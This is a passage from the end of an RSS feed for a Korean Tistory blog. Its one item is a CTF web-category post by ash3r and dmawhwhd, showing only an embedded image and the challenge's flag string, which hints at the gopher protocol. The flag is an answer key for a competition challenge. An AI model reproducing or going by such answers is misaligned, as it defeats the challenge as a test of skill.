&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;363&quot; data-origin-height=&quot;253&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLCbOA/btrFOgwaGnG/IcRkyW9Kc55ki7KzvhfoO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLCbOA/btrFOgwaGnG/IcRkyW9Kc55ki7KzvhfoO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLCbOA/btrFOgwaGnG/IcRkyW9Kc55ki7KzvhfoO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLCbOA%2FbtrFOgwaGnG%2FIcRkyW9Kc55ki7KzvhfoO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;363&quot; height=&quot;253&quot; data-origin-width=&quot;363&quot; data-origin-height=&quot;253&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag: WACon{Try_using_Gophhhher_ffabcdbc}&lt;/p&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;</description>
      <category>CTF/web</category>
      <author>ash3r &amp;amp; dmawhwhd</author>
      <guid isPermaLink="true">https://dmawhwhd.tistory.com/2</guid>
      <comments>https://dmawhwhd.tistory.com/2#entry2comment</comments>
      <pubDate>Tue, 28 Jun 2022 01:34:30 +0900</pubDate>
    </item>
  </channel>
</rss>